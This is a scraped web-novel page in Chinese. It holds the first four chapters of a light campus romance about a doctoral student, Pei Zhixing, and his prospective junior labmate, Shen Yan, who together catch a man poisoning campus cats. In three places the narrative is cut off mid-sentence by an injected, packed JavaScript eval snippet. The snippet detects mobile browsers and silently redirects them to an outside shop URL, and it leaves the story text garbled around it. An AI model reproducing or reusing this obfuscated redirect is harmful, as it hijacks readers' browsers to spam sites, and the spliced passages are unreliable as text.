《暗恋对象住进输入法之后》 1. 1 人总会在有些时候很讨厌自己的导师。 端着刚掏出来的笔电,浑身叮铃咣当地在会场来回转,我转到第三圈也找不到一个能开组会的墙角,耳机里面还在啰啰嗦嗦。 “知行啊,你说话怎么一帧一帧的?” “信号不好,忍一下。”我逆着人群往楼梯间的方向走,尽可能心平气和,“忍不了就努力忍一下。” “……” 场馆里面到处嘈杂,手机也跟着添乱嗡嗡响,我瞟了一眼,看见蹦出来条消息。 [程教授]:你小师弟也在会议里面,别把人吓着。 会议里面除了小老头的超高饱和度风景照头像,的确还有个人。 我看了一眼,毫无印象,不感兴趣。 [PZX]:我哪来的小师弟? [程教授]:上周来联系我的,叫沈言,咱们自己院的本科生。条件我看很好,说对我们组的研究方向很感兴趣。[/龇牙] [/龇牙] [PZX]:条件好还来我们组,你怎么把人骗来的? [程教授]:[/憨笑] “知行,”耳机里面又响起来声音,一卡一卡的,“师弟说他可以了。你那边可以了吗?” “马上就……等一下!” 我端着电脑推开楼梯间的门的时候,差点撞到里面的人身上。 楼梯间有点暗,匆匆一瞥间好像是个穿灰色卫衣的男生,正靠着墙,左手里面也端着电脑,右手正噼里啪啦敲键盘,听见门响就顿了一下,耳垂上的单边耳坠亮晶晶的。 ——在世界上最快乐的地方,这么命苦的人居然有两个! 我愣了一下,在他转头之前迅速道歉后退关门,关得太着急,袖子角差点夹在门缝里面。 衣袖衣摆层层叠叠,配饰一路上都撞在一起叮叮当当地乱响,非常不适合行动的一身衣服。 ……毕竟没有人会想到要在漫展上开组会! “知行,怎么啦?” “没什么。”我说,“差点变成一个断袖。” “……” 沈言原本刚开了麦,不知道想说什么,我看着他又改回了静音状态。 沉默片刻,老头呵呵干笑两声,很努力地试图解释:“沈言啊,你师兄这个人,他这个人吧,呃他就是这样的……” 我看得出来,他真的很想把这个叫沈言的本科生拐进师门了。 可以理解,毕竟以程门如此之冷门的研究方向,能有条件好的学生主动来,我也觉得很稀奇。 只能解释为鬼迷心窍。老头曾经问过我为何走上他这条弯路,我那次思考很久,很诚实地告诉他:“鬼迷心窍。” 奔波第五圈,我终于在展厅之间的过道暂时安营扎寨,找了个地方坐下来。落地窗外面盘着好几只猫,挤在一起晒太阳。 “我也好了。” “行,那咱们就开始。”老程听起来喜气洋洋的,“没什么别的事,就是沈言跟我聊聊之前做过的研究,我看沈言跟你做的方向挺接近的,就叫你也来听听,正好你们互相认识一下。” 老头还在热情洋溢地啰嗦一些有的没的。想了又想,我总觉得似乎在哪听过沈言这个名字,抽空给师门情报头子发了条消息。 [PZX]:沈言,师妹听说过吗? 声称要闭关跑数据写论文一整天的人,三秒钟之后就甩回来一条链接,效率惊人。 [苏睿]:上一年度A大必吃榜跟你并列。自己爬楼看,不用谢。 [苏睿]:数据处理馊了,师兄速归。 “……” 自动屏蔽老头喜气洋洋的废话,暂时忽略馊掉的数据,举着手机找了三次信号,我终于点进去了那个链接。 是校内的论坛,给我打开了一扇名为必吃榜的、略为震撼的新世界大门。 震撼地看完第一页,翻到第二页的时候我发现自己还是震撼早了,震撼的间隙听见头顶传来个声音。 “老师您好,请问能不能集……” 头顶的话音戛然而止,我抬头,看见两位小姑娘正站在对面,看看我,看看电脑,又看看我,摇头叹气连啧三声。 “剑修也要开组会吗。好惨。” * 在世界上最快乐的地方,我坐在过道的角落,开了半个小时的组会。 已经进了十一月份,阳光照下来的时候,只有一点似是而非的温度从手背上路过,不太会像春天或者秋天那样,把人晒得犯困。 但是在十一月份的阳光里开组会就不一样了。沈言讲话之前我真的有点困。 老头有点上了年纪,爱啰嗦一些有的没的。他说话的时候我快速浏览了论坛里面几十条文字内容——图片还是加载不出来,但是也无所谓,反正我也不太关心这人长什么样子。 人工去掉无意义停用词,提取高频词项,我总结出来此人关键特征。 卷王,生人勿近,长挺好看,打人很疼……打人很疼? ……打人很疼是什么? 我对着这意味不明的四个字揣摩的时候,老程似乎终于说尽兴了,准备进入正题。 本来准备接着看下一页,沈言开口的时候,我手指顿了一下。 他的声音跟我设想中的不太一样,冬天的玻璃一样,亮晶晶、凉冰冰的。 我把刚才老头讲话时候降下来的音量又往上按了两格。 只是不知为何听起来略带回音,好像在什么很狭小的空间。 ——大概也是在什么地方被临时拉来开组会的,但肯定不会比他漫展开组会的师兄更惨。我不信这么命苦的人在一个师门能同时找出来两个。 大概听下来,沈言之前做的工作比我想的要扎实,作为大三本科生来讲,能有这样的水平的确少见。跟声音一样,讲的内容也很干脆凝练,毫不拖泥带水。 ……打人的时候也是这样干脆利索、毫不拖泥带水吗? 卷王对上了,声音听起来也是挺生人勿近的,刚才的打人很疼几个字又开始在我脑海中盘旋。他讲到收尾的地方,我开始分出来一点心神,揣摩这件听起来有点要紧的事。 可是打谁呢? “师兄?” 我一激灵:“嗯?” “……关于本体定义,”耳机里面短暂地停了一下,“我之前也看了知行师兄的那篇文章,很有理论深度,对我很有启发。” “……你喜欢就行。” “对,你们俩的方向相关度还是很高的。”老程也乐呵呵,“你们俩之后多聊。我这边分会场要开始了,我有个发言,我先下了,咱们下回再说——知行,你跟师弟多聊。” 喜气洋洋的风景头像下一秒就消失了,会议里面温度骤降,沉默几秒钟,沈言先开口。 “师兄,那咱们,下次再聊?” 他声音也一卡一卡的:“抱歉,我这边……信号不太好。” “行,”我捞过来旁边振个不停的手机,“我这边……嗯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154788|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信号也不行。” 一看手机消息,我看见是老头意犹未尽。 [程教授]:小沈这孩子我看很好啊,学习能力很强,人也不错,他的个人情况介绍我邮件转你了,你看了没? [程教授]:语音57s’’ [程教授]:一定要努力把你小师弟骗进师门。[/玫瑰][/龇牙] 完全不考虑我的安全系数,小老头喜气洋洋的声音左耳朵进右耳朵出,我往上划拉几下屏幕,找到两天前发过去的修改稿文件,长按引用。 [PZX]:再不投编辑部要放假了。 对面显示了几次“对方正在输入中”,最终慢腾腾出来一句“好的,晚上看”。 “明天下午有时间吗?” 我回了消息,瞟一眼日程:“老头……老师让我给你在实验楼申了个工位,明天下午如果你有时间,我带你去看看?” “好,麻烦师兄。” 站起来之前,我看见落地窗外面那几只猫换了个太阳更好的位置,又挤在一起,耳朵尖一动一动的。 说起来猫,其实我隐约记得实验楼周围之前也有好几只,但是最近不知道是不是天气太冷了,似乎都没怎么见到。 在系统上提了工位申请,刚合上笔电站起来,犹豫一下,我还是又摸出来手机,点进去刚才的论坛。 ——还是有那么一点好奇到底长什么样子的。一点点。 图片还在加载,原地等了五分钟,我终于看见了论坛里面的那张照片。 大概是拍得很匆忙,只是个模模糊糊的侧脸,但也能看出来是很俊逸的长相,被路灯勾出来干净利落的轮廓,脸上没什么表情,正垂着眼睛看手里的屏幕,睫毛似乎很长。 原来是长这个样子吗。 放大看的时候,背景似乎就是实验楼附近。实验楼外面是一弯小小的人工湖,月牙一样,晚上的时候月亮影子就泡在湖水里面,清亮的、摸上去凉凉的影子。 ……怎么想到这儿了。 放大缩小看了两分钟,我回过神来,关上手机,摇摇头收回去。 不知道沈言到底是怎么想的,以他的能力和背景,选择应该是很多的。明天见面,还是得让他慎重考虑一下是不是真的要走这条弯路。 一时头脑发热的小朋友还是见过几个的。 穿过人群原路返回,再次路过楼梯间的时候,我看见门半开着,里面已经空了。 楼梯间里面比外面温度低一些,只有一隙日光照进来,冷冷淡淡的,我又想起来刚才那个人。 匆匆一眼,光线又不是很亮,像剪影一样,没看清样貌,只记得好像皮肤很白,手指修长,一看就是写论文的好料子。 不认识他的导师,但想来他的导师也很讨厌。 “开完了?” “嗯。”我收起来电脑,瞟了一眼旁边的人,“你什么表情?很期待我开到闭馆是吗?” “那倒也不是——你老板知道你在哪跟他开组会吗?” “……不知道。” “你顶着这张脸,真不怕哪天被认出来吗?” “不用担心。”我很笃定,“不熟的人认出来就认出来了。早打探清楚了,我们师门压根没人关注这个的。” 至于沈言——我想了想他那个冷冷淡淡的气质,花了一秒钟就直接排除这种可能性。 拍拍他的肩膀,我重复一遍:“我们师门不会有人知道我在外面当剑修当法师当皇帝的。” 2. 2 晚上的时候我把白天没看完的论坛内容看完了。 老程说是九点之前给意见,果然到了九点也没露头。在他拖延的五分钟里面,我又点开了那个链接。 看一遍下来,楼里面杂七杂八说了很多,总结下来对沈言这个人的评价很一致,脸是真的很好看,人是真的很冷淡。 我很失望——看了这么多,居然没有一个人对他的学术能力与学术热情做出评价。我还是比较想看这个。 好吧。虽然我也承认那张脸是很好看。 想了一下,我又回到顶部,点开那张光影朦胧的照片,试图从这张脸上观察此人是否有学术潜力。 ……好吧。真挺好看的。 消息图标终于闪了一下,我看见老程匆匆扔下了一个文件,一句多余的话都没敢说,看来又是赶工出来的批注。 我发现盯着这张脸除了浪费我的时间,盯不出来任何什么别的结论。接收文件的时候,干脆切到账号里面看了一眼评论。 大部分都是扫一眼就过去,看到一个ID的时候,我手指停了一下。 我对这个叫黄色狸花猫的ID有点印象,一个原因是这位狸花猫每次都来,说话总是一板一眼的,还很认真地带标点符号,在评论区里面还挺显眼。 另一个原因是这人似乎总是抢不到票,怪惨的。 定睛一看狸花猫这次的评论,我才发现这位小猫朋友还能更惨。 [黄色狸花猫]:到了现场,可惜临时开了组会,没见到老师。期待下次。[/笑脸] ……这个世界上到底有多少人在漫展上开组会。 我决定把今天定为世界漫展开组会日。 在日历上面画了个星号,又点开文档敲下来几个字,我还是没忍住,捞过来手机回了刚才那条小猫朋友的评论。 [非衣]:同是天涯沦落人。 顺带切到微信,跟沈言确认了一下明天见面的时间地点,我扣上手机,开始接着改引言。 没太多可说的。今天是师弟,说不定过两天就不是了。 * 月亮湖旁边不管什么时间都总有人在钓鱼。 我和沈言约的是下午三点实验楼门口碰面,有个文件要打印,我提前了半个小时出门,到实验楼下的时候刚过两点半。 想了想,我给沈言发了条消息。 [PZX]:我在实验楼,要是提前到了就直接给我发消息,我下去接你。 手机还没息屏,我看见他秒回。 [沈言-大三]:好的,还在路上。辛苦师兄。 天气不错,但周围没什么人,猫又是没见到几只,只有湖边的椅子上又一如往常地伸着钓竿。 这地方真能钓上来鱼吗。 日光照下来,湖面粼粼反光。我路过的时候很快地瞟了一眼,看不清楚里面浮动的到底是水草还是鱼。 试图找鱼的时候,我瞥见个湖边有点奇怪的人影,倒回去两步。 这么鬼鬼祟祟的干什么? 没等我仔细看,忽然被人拉了一下,转头的时候,我那一分钟之前跟我说还在路上的沈言师弟正蹲在树后面,眨巴着眼睛看我,比了个噤声的手势。 “?” 我不知道是怎么一下子就在此地刷新出来师弟的,也不是很懂,是不是现在的小朋友见面打招呼,都已经换成了这种方式。 想了一下,我选择顺应年轻人的潮流,也在他旁边蹲下来,却看见他表情有点疑惑地看着我,眉头轻轻皱一下又松开。 “同学,你也是来抓他的吗?” 看起来似乎没发现我就是那个被他糊弄的师兄,声音也压得很低,跟在耳机里面听到的有点不太一样。 我顺着他的目光看过去,又转回来:“……抓谁?” 隔着口罩说话不太清楚,我摘下来,又问一遍:“抓谁?” 沈言原本只是分给我一点余光,摘下来口罩的一瞬间,他忽然猛地来转过头盯着我。 一霎间和他对视,我才忽而意识到,那张很惊艳的照片其实只还原了他七八分的样貌,没照出来他漂亮得几乎带攻击性的眉眼,也没照出来他鼻梁上那颗颜色很浅的小痣。 眼睛形状像桃花瓣一样,眼尾向上挑出来尖,一动不动地盯着我。 我又回想一遍,很确定我之前没跟沈言见过面,没在同一场国奖答辩狭路相逢,没一起打过比赛拖他后腿,更没做过同一份小组作业给他划水。 完全可以说是无冤无仇。 ……所以盯着我的脸看到底是为什么? 打人很疼几个字又冒出来了。飞速思考是否需要先发制人的时候,我看见他又猛地错开目光,很轻地晃晃脑袋。 “……抱歉。”他仍然没什么表情,压低声音跟我解释,说话的时候一板一眼的,“最近附近的猫总被下毒,就是这个人,我们蹲他很久了,刚才怕你过去惊动他……同学,打扰你了。” “给谁……给猫下毒?” 从碰见沈言起没有一件事是我能理解的。 想了两遍,我还是觉得跟几只猫这么过不去这件事,实在是很匪夷所思。能干出来这种事情的人,做什么都会失败的。 放弃理解非碳基生物的心路历程,我跟着他的视线看过去:“怪不得最近不怎么见到这里的猫了……真是他?” 沈言点点头,我抬头看一圈,发现那人选的地方,还能正好避开实验楼周围的监控。 拿出来手机点了录像的时候,我跟他解释:“这地方监控拍不到。” 沈言没说话,默默往右边挪了两步,又看看我。 虽然仍然面无表情,但我觉得,好像是我可以稍微过去一点的意思。 那人已经晃到第二个来回了,我看他还准备开始晃第三个来回。等着那个人下手的时候,我总觉得有视线若有若无地停在我脸上。 悄悄从眼角看过去的时候,却发现沈言明明就在很认真的盯人,看起来好像一点眼神都没分给我。 好奇怪的师弟。 声音听起来很不近人情,长相看起来更是不近人情,好像很冷冰冰的一个人,但是蹲在这里给小猫出头。 似乎察觉到我在看他,沈言往另一边侧了侧脸。 树后面的地方并不太宽敞,近乎肩并着肩的距离里面,我跟沈言都没再说话,看着那个人若无其事地晃了三个来回,终于往几个碗里面快速放了什么东西。 “知道躲监控,这人应该是惯犯了,”我把画面再放大一点,准备等一下把手机给沈言拿着,“搞不好身上带了什么东西,等会儿你别冲……” “?” 身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154789|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那道影子到底什么时候窜出去的我都不知道,周围这会儿安安静静的没什么人,一瞬之后的惨叫声就格外明显。 按着人,沈言听见脚步声,回头来看我,眼睛被太阳照到的时候眯起来一点。 “同学,你刚才说什么?抱歉,没听清。” “……没什么。” 我上下看了一遍,见沈言好像没什么事,松了口气,一眼扫过去,看见被他牢牢按着的男生表情很扭曲,正在诶呦诶呦地喊疼。 又看了两眼,我悄悄吸一口冷气,开始翻之前的群消息:“没什么……我现在给保卫部打电话。” 跟我猜的一样,动手的时候的确跟他汇报的时候一样,干脆利索,直击重点,半点不拖泥带水。 沈言就点点头,看看我,又很快地错开目光,没再说话。等着对面接电话的时候,我又瞟一眼地上那个表情扭曲的人。 刚才那几下看起来真的很疼。 * 保卫部的两个老师在里面打电话,我和沈言坐在外面等。顺手浏览了几封还没看的邮件,我偶尔抬头,正好看见沈言在看我,偏着头,若有所思的样子。 “怎么了?” “不怎么……没什么。” 他被发现了就很快地摇摇头,没多说什么,又像刚才一样低下头看手机,两指按在屏幕上,似乎是在看什么图片,放大缩小又放大。 这样看,我发现他眼睫毛好像真的挺长的。 但是万一也是个一时头脑发热的小朋友呢?毕竟跟隔壁出成果周期快、导师手里项目多的组比起来,程门实在不具备什么竞争优势。 现在叫一声师兄也只是客气,到底能不能真的成师弟,完全还未可知。 盯着屏幕上的几行英文看了一会儿,我才发现自己不知道什么时候看串行了。 等保卫部老师都记录清楚,正好差五分钟三点。 “上周也有校内居民到派出所报过案,”保卫部的老师给我们看之前的记录,“也是宠物猫在附近区域被人下了毒,听描述可能是同一个人。你们方不方便一起到派出所做一下笔录?” “现在吗?” 沈言低头看了眼手机,脸上表情有点犹豫。 下一秒我就知道他在犹豫什么了。我看见他点开跟我的聊天框,打了两个字,又删了,指尖停在屏幕上面。 看着他打下来又删了三遍,我决定还是当一个善解人意的师兄,低头点开聊天框。 [PZX]:[图片] [PZX]:我在你对面。 “对方正在输入中”的字样一下子消失了。 我看着沈言对着屏幕愣了一下,慢慢地抬头,从刚才起一直平静无波的眼睛,此刻眼底的惊诧被日光照得格外清楚。 ……怎么这个表情。我有这么吓人吗。 我试探着跟他打招呼:“师弟?” 好安静的两秒,安静得好熟悉,安静得像昨天我说差点成为一个断袖的时候一样,安静得我有点紧张——不会其实很讨厌我吧。 ——苍天可鉴,我真的不是,更不会对师弟有什么非分之想的啊! 早知道昨天开会少说几句了! 两秒钟之后,我见他手一抖,手机差点掉地上,开口的时候一字一顿的。 “……师兄?” 3. 3 做完笔录出来天色已经擦黑了,深蓝色远远地向远处推开。两侧亮着路灯,橘黄色的光从枝叶间洒下来。 路灯落在沈言身上也显得冷冷淡淡的。 沈言仍然话很少,沉默着走了一段路,我没话找话:“晚上有课吗?” “有。”他说,“六点半。” 本来话就少,好像发现我就是他那个性取向不甚明朗的师兄之后,话更少了。 ——师兄,暂时的。不知道我能不能转正。 派出所离学校不远,十几分钟路程。我看了眼时间,现在不到六点,也还来得及吃个饭。 早冬的温度总是很狡猾,白天里还挺暖和的,天刚一黑下来,阳光的痕迹就立刻溜得无影无踪了,一点温度也不剩下。 天冷的时候还是要多吃一点热东西。 沈言却摇摇头,随口道:“有点晚了,我下课再吃吧。” “下课?” 晚课一般是三节,我记得下了课都要九点了。 沈言对此不太在意地表示:“没什么,习惯了。” 我觉得这听起来实在不是什么很好的习惯。 到路口的时候,沈言看我往右转了脚步,停了一下:“师兄不回学校吗?” “走吧。” 他正好站在路灯底下,抬头朝我看过来的时候,仍然没什么表情,只是眼睛被灯光照得亮亮的,我觉得有点像琥珀。 “我知道附近有家店还不错,这会儿人不多。” 我又跟他补充一句:“很近,两分钟就到了,比食堂近,肯定不耽误你晚课。” 沈言偏了偏头。 两分钟之后,跟他在桌子两边对面坐下来的时候,我给他看手机屏幕上的时间:“没骗你吧?来得及的。” 沈言本来在眨巴着眼睛这里看看那里看看,看一眼墙上的菜单,看一眼档口里面下馄饨的大叔,又看一眼端着两碗粥过去的阿姨,听到我叫他就匆匆转过来目光,点点头。 店里面人不多,沈言要了红豆粥和玉米蒸饺,我要了鸡汤馄饨。 两样都是偏甜口的,我觉得他应该是爱吃甜的,问他的时候,看见他眨一下眼睛,握着勺子点点头。 我这个师弟看起来真的是很不爱说话的一个人,停了一会儿,我才听见他又开口。 “师兄,今天的事,谢谢你。” “没什么。”我摇摇头,“应该的。你们蹲他很久了吗?” “两三个礼拜。” 沈言说完又抬眼来看我:“耽误你时间了吗?程老师说你挺忙的。” “没耽误。没他说的那么夸张。” 沈言唔了一声,勺子搅来搅去,不知道在想什么,偶尔目光迅速抬起来一下,又很快地垂下去。我稍微往前推了一下那笼他还没怎么动的蒸饺:“趁热吃。” “哦……哦。好。” 我看他嘴上答应,筷子还是没动几下。 “真没耽误我时间。不用想这些的。” 他嗯了一声,开口的时候声音不知为何,比刚才低一点。 “师兄,你平时真的很忙吗?会忙到……嗯,没时间做其他事情吗?” “那不至于。”我不知道老头到底跟他把我描述成了什么样子,斟酌着开口,“人嘛,总得有点兴趣爱好,干点自己喜欢干的事情,是吧。” 但是喜欢在外面当剑修当法师当皇帝,听起来还是有那么一点不太能见人。我想了想,还是没接着往下说。 我真的不是很确定现在我在沈言眼里到底是个什么形象。 何况以他的条件,本来就不知道会不会真的愿意鬼迷心窍。之前的几个学生就是这样,说是回去考虑,考虑着考虑着,就不了了之了。 想到等下要跟他说清楚,我心里面莫名其妙有点没底。 沈言点点头,握着勺子的手忽然紧了紧。 “师兄,那你平时都有……” 沈言的手机屏幕就在这时候亮了起来,我余光瞥见隐约是个人。 下一秒桌子忽然震了一下,我抬头,看看面无表情的师弟,又看看被他猛地倒扣在桌面上的、紧紧按着的手机,斟酌着开口。 “……屏没碎吧?” 师弟力气看起来挺大的。 沈言没说话,只是很警觉地盯着我,也没看自己手机就摇摇头。 有点熟悉的表情。我上次晚上从实验楼出来,天黑没看清路,差点踩到猫尾巴的时候就这样被狸花猫盯。 其实也没有真的踩到,但是那只猫连着一周都没有给我好脸色。虽然不知道到底是怎么回事,但是这下感觉我转正的机会更渺茫了。 “你刚才是……想问我什么 ?” 他的手还按在自己手机上,目光来回闪动好几次,片刻之后才开口:“算了,没……没什么。” * 回学校的那条路也临着湖。跟那个小小的月亮湖不一样,这是校外一片很大的天然湖,沉在夜色里面,远处的霓虹灯光在水面上揉碎了,被风吹着一层一层地推开来,两边树叶被吹得沙沙作响。 其实这条路走过很多遍,也见过很多遍冬天晚上的湖水,我还是没忍住多看了几眼。 不知道为什么,总感觉和沈言刚才盯着我的眼睛,莫名有点像。 人就在我旁边,但是我没敢比对。我怕沈言真觉得我是一个居心叵测的男同,更不理我了。 ——我昨天真的就多余说那句。我说这句话到底做什么? 但是其他该说的话还是得说。想了想,我还是叫他一声。沈言转头来看我。 “是确定要保本校了吗?” 他点点头:“是。” “对我们组里面的研究方向,你之前有什么了解?” 沈言应该自己有认真了解过,和我说的内容都很准确,而且还挺有自己想法。 “对。”我悄悄观察他神色,“但不是热门方向,有一定的难度,也不太容易出成果。其实以你的条件,想进哪里都是很有竞争力的。本来就是小学科,如果是从之后毕业、申博或者就业的角度,或许院里其他老师的组,对你来说,都要更好。” 有些方向所有人都知道是刚需,但所有人都绕道走,毕竟绕道之后的路实在是太宽广坦荡了。 每个人相信的东西都不一样。 沈言表情看不出什么心绪,我有点忐忑。 其实这些话之前也跟很多人说过很多遍,早就习惯了,但这次不知道怎么回事,比每一次都紧张——不知道为什么,是因为今天的馄饨很好吃吗。 一秒钟过去了,沈言没说话。 两秒钟过去了,沈言没说话。 第三秒钟的时候,根据过往几次的沟通经验,我不太情愿地意识到,我这个师兄看起来似乎、大概、或许真的是当到头了。 很正常的,其实也是意料之中的事。这是很正常的事,毕竟…… “师兄,我知道。” “嗯……嗯?” “之前……其实我也在学院其他老师那里做过一些工作。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154790|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈言说到这里,就不往下具体说了,顿一下才接着道:“我还是,想做一些想做的事情。” “一昧地追政策或者追所谓的热点,我不太想……把时间都花在这上面。至于难度,” “师兄,”他抬起来眼睛看我,眉眼间是很认真的神色,“我能做到。” 当年转硕博连读的时候,老程其实问过我一样的问题,我没想到隔了几年,会从沈言嘴里再听到差不多的回答。 路灯底下影子被拉得长长的。我怔了一下,才跟他又确认一遍。 “你真的想好了吗?” “是。”沈言点点头,“师兄,我都想清楚了。” 刚才没敢看,这样对视的时候,我发现他的眼睛跟后面的湖水真的还是挺像的。 ——我就说我一眼就认出来这是我失散多年的小师弟,之前到底是哪个可恶的课题组拐走了人! 只是很快地眼睛又垂下来,睫毛落下来长长的影子。 他头一次在我面前笑了笑,我才发现原来他笑起来的时候,嘴角会抿出来浅浅的梨涡。 “师兄,我在你面前说这些,是不是有些太班门弄斧了。” “不会。” 不知道怎么回事,看见他笑了,我也跟着笑了。 “我大三的时候,嗯,比你现在差远了。” 我给他比划一下:“差很多,差这么多。” 沈言眨着眼睛看我,我跟他确认一遍:“真的。” 梨涡就又若隐若现地浮起来了。沈言摇摇头,转头去看路,我再仔细看的时候又是一贯的样子,那点笑色又看不清楚了。 “师兄,你心虚得有点太明显了。” “……有这么明显吗。” 我就说那种论坛说的东西果然不能尽信。我失散多年的小师弟哪里就像里面说的那么可怕。 谣言。果然都是谣言。 进校门的时候还差十分钟六点半,不算太晚。虽然当前看起来沈言对于课题组的印象还算良好,但是一路上想了很久,我觉得还是应该跟他解释一下。 叫住他,我很认真地开口:“师弟。” 沈言侧过脸:“嗯?” “其实,”我看着他的眼睛,很真诚地解释,“昨天那什么断袖……真是我乱说的。” 沈言没说话,不知道有没有相信我的辩解。我悄悄观察他的神色,补充一句:“师弟,你放心,我真不是。” 虽然早就发现沈言是很漂亮的一个人,但是这样盯着他的眼睛看的时候,我发现他的眼睛真的格外好看,黑曜石一样,细细碎碎闪着光。 就是不知道在想什么,睫毛垂下去,又扬起来。看着我,很轻地嗯了一声。 他往后退一步,指指教学楼的方向:“师兄……我去上课了。” 师弟的话实在是太少了。我揣摩一下,觉得沈言似乎比刚开始的时候,跟我熟悉了那么一点点。看来解释一下还是有用的。 “行。”我把系统截图给他发过去,“工位我给你留好了——就是这个,这几天有时间了你再告诉我,我带你去看看。” 老程如果知道我如此努力,一定很欣慰。虽然其实也不是为了他在努力。 沈言点点头,低头看看屏幕。 “那明天?” “行。” 收起来手机的时候,目光又若有似无地从我脸上瞟过去。 沈言今天到底为什么总是这样看我。我等下真的要回去看看是不是脸上沾什么东西了。 4. 4 沈言今天到底为什么整整半个下午都没有看我。 瞟一眼对面,沈言还是很认真地盯着电脑屏幕,微微蹙着眉。保存了手里的文件,我思考一下,这种情况似乎是从我和他到图书馆开始的。 是的,就是从在图书馆坐下开始的。 下午两点半的时候,我带着沈言到实验室,给他介绍师门。 先指指一团空气:“程老师出去开会了,下个月回来。” 沈言点点头:“程老师之前也和我说过这件事。” 我又给他指指左边工位上的一团空气:“这是博二的师姐,出去联培了,明年回来。” 再指指右边工位上的一团空气:“苏睿和陈欣,研一的,昨天晚上又通宵了。” 旁边工位上依然是一团空气:“研二的,出去实习了。” 沈言环顾一下,默默跟那几团空气招招手。 我觉得这样一团空气的师门看起来实在不太像话,又给他指指唯一实体在场的自己。 “裴知行,博一。” 沈言看看我,很快地眨两下眼睛,想了一下,也跟我招招手。 “这是我的位置,这是你……嗯?” 昨天没来实验室,我才发现申请下来的工位上面,前一届的学生东西还没搬完,架子插座鼠标垫还堆在桌子上。 “我看看叫什么……我今天催他一下。” 沈言点点头,想了一下,低头拿手机:“那我先去图书馆吧。” 当着我的面解的锁,不知为何拿着手机停顿了一下,很快地看了我一眼,才点开小程序。 是想给我欣赏他的深蓝色系统壁纸吗? 又看我一眼。我不懂,但我照办:“挺好看的?” “……” 沈言又低头,划拉屏幕选座位。 还没到期末周,图书馆座位挺好约,我看一眼他的位置,约到他对面了。 “之前那两个问题,当面说方便一点。”我跟他解释,“等下你有什么不懂,也能随时问我。” 然后就没有然后了。在图书馆里面,我跟他解释了之前的两个问题,又把一些适合他的文献打了压缩包发给他,开启了无比安静的一个下午。 除了偶尔问一两个问题,沈言就没抬过头。 三点半的时候我交了申报书,看见沈言正在沉浸式学术,很满意师弟的学术热情,拖出来论文开始改。 五点的时候我改完了论文,沈言还在沉浸式学术。作为师兄总要有点带头作用,思考一下,遂又点开本来准备明天写的数据报告。 六点的时候写完了一个小节,沈言仍然沉浸式学术。我想起来浏览过的此人卷王生涯,开始怀疑师弟是不是要给我一个下马威。 明明昨天还总是看我,现在就被文献吸住了、缠上了、眼睛都抬不起来了,完全不知师兄为何物了。 昨天那样对我看来看去的,难道只是一时觉得很新鲜? 约的位置是走廊靠窗的地方,能晒到太阳。改论文的间隙我抬头看过几次,日光一开始在他发梢,然后移到眼角,再移到鼻梁上那颗颜色很浅的小痣,现在已经移到领口的位置。 那怎么才过了一天就不新鲜了。 六点半的时候苏睿来找我,问我这周什么时候汇报进度,她负责的部门这周有好几个活动要办,需要提前约时间。 我想了想,敲两下桌子,沈言愣一下,从屏幕上抬起来眼睛。 “……吓到你了?” 沈言摇摇头,但是一点表情也没有,我觉得看起来好像不是很想理我。 “组里有一个科技部的项目,是苏睿在负责,具体内容我发你了。”我尽可能说得简洁一点,“这周汇报你想听听吗?之后如果你感兴趣,可以参与进去。” 沈言没说想或者不想,盯着我,过了一秒钟忽然噢噢两声,低下头去看我给他发的项目任务书。 我看着他接收文件,很快地看了一遍,抬头的时候眼睛亮亮的:“可以吗?” 我才意识到他刚才不是不想理我,好像只是太专注了——或者是看论文有点看懵了。 今日重大突破性发现。师弟或许有些时候只是看起来不想说话,并不是真的不想理人。 跟苏睿确定时间的时候,苏睿对沈言挺感兴趣。 [苏睿]:你给师弟申工位了吗?我刚才来没见他。 [苏睿]:对了,怎么也没看见你?你不是住实验室吗? 得知我和沈言在图书馆待了大半个下午,这次她停了一分钟才回复。 [苏睿]:你是说你跟他面对面坐了五个小时吗。 [PZX]:是,怎么了? 我看着她输入了半天,才跳出来一句话。 [苏睿]:我之前打比赛跟他一个组过。 [苏睿]:每次跟他讨论十分钟我都感觉空气要冻上了。能跟他面对面坐五个小时,你挺厉害。 从屏幕上抬起来一点视线,我看见沈言果然又低着头,接着严肃审视不知道哪篇幸运文献。 哪有她说的那么夸张。 我给手里的章节收了尾,关文件之前,又看他两眼。 其实我觉得之前那个论坛的内容说得也挺夸张的。这不是挺好的吗?话少一点而已,但是问什么人家就答什么,还想怎么样? 又改了个图表,我看见消息图标又闪一下。 [苏睿]:噢对了,你知道吗,我刚听室友说的。 [苏睿]:沈言之前跟张广老登闹得挺不愉快的,不知道怎么回事。 [苏睿]:打错了,张广老师。 [苏睿]:反正是闹得不愉快,说是脾气挺大的。 * 